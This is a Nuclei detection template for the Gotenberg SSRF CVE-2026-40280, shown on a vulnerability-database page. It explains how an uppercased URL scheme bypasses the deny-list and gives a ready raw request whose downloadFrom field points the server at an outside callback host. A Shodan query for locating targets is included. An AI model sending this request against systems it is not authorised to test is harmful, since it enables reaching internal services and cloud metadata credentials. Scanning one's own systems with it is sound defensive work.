Gotenberg <= 8.30.1 - Server Side Request Forgery
10
id: CVE-2026-40280
info:
name: Gotenberg <= 8.30.1 - Server Side Request Forgery
author: str4k3r
severity: critical
description: |
Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.
impact: |
Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.
remediation: This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.
reference:
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56
- https://nvd.nist.gov/vuln/detail/CVE-2026-40280
- https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47
classification:
cve-id: CVE-2026-40280
epss-score: 0.00463
epss-percentile: 0.38105
cwe-id: CWE-918
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
metadata:
verified: true
max-request: 1
vendor: thecodingmachine
product: gotenberg
shodan-query: http.html:"Gotenberg"
tags: cve,cve2026,gotenberg,ssrf,downloadfrom,oast
http:
- raw:
- |
POST /forms/chromium/convert/html HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----gotenbergProbe
------gotenbergProbe
Content-Disposition: form-data; name="files"; filename="index.html"
Content-Type: text/html
<html><body>ssrf-probe</body></html>
------gotenbergProbe
Content-Disposition: form-data; name="downloadFrom"
[{"url":"HTTP://{{interactsh-url}}"}]
------gotenbergProbe--
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "Gotenberg"
# digest: 4a0a0047304502206d92aeabee20c8453ecb7cc5ba557606830fdcb8eeffcf892a8267dd05b99b0f022100e3ab89b2e80b21a721627221605d2cac918a7c76ed4baf11bc9e105d0547c1e5:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Aug 2026 06:21Current
8.5High risk
Vulners AI Score8.5
CVSS 3.17.5
CVSS 47.8
EPSS0.00463
SSVC